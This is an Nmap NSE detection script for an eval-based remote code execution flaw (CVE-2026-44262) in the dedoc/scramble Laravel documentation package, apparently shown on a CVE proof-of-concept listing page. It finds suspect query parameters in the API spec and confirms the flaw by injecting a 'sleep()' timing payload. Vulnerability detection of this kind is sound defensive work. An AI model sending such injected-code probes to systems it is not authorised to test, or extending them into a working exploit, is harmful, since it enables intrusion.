5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / http-scramble-rce-detect.nse NSE
local http = require "http"
local json = require "json"
local shortport = require "shortport"
local stdnse = require "stdnse"

description = [[
Detects CVE-2026-44262 (GHSA-4rm2-28vj-fj39), a Remote Code Execution vulnerability
in dedoc/scramble >=0.13.2, <0.13.22 (Laravel API documentation generator).

Step 1: scans /docs/api.json for query parameters whose default values resemble
Laravel validation rules (e.g. "required|string") — the vulnerable controller pattern.

Step 2: sends a timing probe (sleep) to the discovered parameter to confirm
eval() fires. No destructive exploitation is performed.

References:
  https://github.com/joshuavanderpoll/CVE-2026-44262
  https://github.com/advisories/GHSA-4rm2-28vj-fj39
]]

---
-- @usage
--   nmap -p 80,443 --script http-scramble-rce-detect <target>
--   nmap -p 80,443 --script http-scramble-rce-detect --script-args http-scramble-rce-detect.path=/docs/api.json <target>
--
-- @args http-scramble-rce-detect.path  Path to the OpenAPI JSON spec. Default: /docs/api.json
--
-- @output
-- PORT   STATE SERVICE
-- 80/tcp open  http
-- | http-scramble-rce-detect:
-- |   VULNERABLE (timing confirmed)
-- |     param: 'sort' in /v1/products (default: required|string)
-- |_    delay: +4.1s
--
-- PORT   STATE SERVICE
-- 80/tcp open  http
-- | http-scramble-rce-detect:
-- |_  LIKELY VULNERABLE (pattern match only)
-- |_    param: 'sort' in /v1/products (default: required|string)

author = "Joshua van der Poll"
license = "Same as Nmap -- See https://nmap.org/book/man-legal.html"
categories = {"discovery", "safe", "vuln"}

portrule = shortport.http

-- Laravel validation rule keywords that would never appear as legit query param defaults
local RULE_KEYWORDS = {
    "required", "nullable", "string", "integer",
    "numeric", "boolean", "array", "min:", "max:", "in:",
}

local function looks_like_rule(default)
    if default:find("|") then
        return true
    end

    local lower = default:lower()

    for _, kw in ipairs(RULE_KEYWORDS) do
        if lower:sub(1, #kw) == kw then
            return true
        end
    end

    return false
end

action = function(host, port)
    local path = stdnse.get_script_args(SCRIPT_NAME .. ".path") or "/docs/api.json"
    local response = http.get(host, port, path)

    if not response or response.status ~= 200 then
        return nil
    end

    local body = response.body

    if not body or not body:find('"paths"') then
        return nil
    end

    local ok, data = json.parse(body)

    if not ok or type(data) ~= "table" then
        return nil
    end

    local paths = data["paths"]

    if type(paths) ~= "table" then
        return nil
    end

    local vuln_params = {}
    local vuln_param_names = {}

    for endpoint, methods in pairs(paths) do
        for _, method_data in pairs(methods) do
            local params = method_data["parameters"]

            if type(params) == "table" then
                for _, param in ipairs(params) do
                    if param["in"] == "query" then
                        local schema = param["schema"]

                        if type(schema) == "table" then
                            local default = tostring(schema["default"] or "")

                            if default ~= "" and looks_like_rule(default) then
                                table.insert(vuln_params,
                                    string.format("'%s' in %s (default: %s)",
                                        param["name"], endpoint, default))
                                table.insert(vuln_param_names, param["name"])
                            end
                        end
                    end
                end
            end
        end
    end

    if #vuln_params == 0 then
        return nil
    end

    -- timing probe — confirms eval() actually fires, not just pattern match
    local sleep_secs = 4
    local param_name = vuln_param_names[1]

    local t0 = nmap.clock_ms()
    http.get(host, port, path)
    local baseline = nmap.clock_ms() - t0

    local payload_path = path .. "?" .. param_name .. "=sleep(" .. sleep_secs .. ")"
    local t1 = nmap.clock_ms()
    http.get(host, port, payload_path)
    local elapsed = nmap.clock_ms() - t1

    local delay = elapsed - baseline
    local confirmed = delay >= (sleep_secs * 750)

    local lines = { confirmed and "VULNERABLE (timing confirmed)" or "LIKELY VULNERABLE (pattern match only)" }

    for _, p in ipairs(vuln_params) do
        lines[#lines + 1] = "  param: " .. p
    end

    if confirmed then
        lines[#lines + 1] = string.format("  delay: +%.1fs", delay / 1000)
    end

    return table.concat(lines, "\n")
end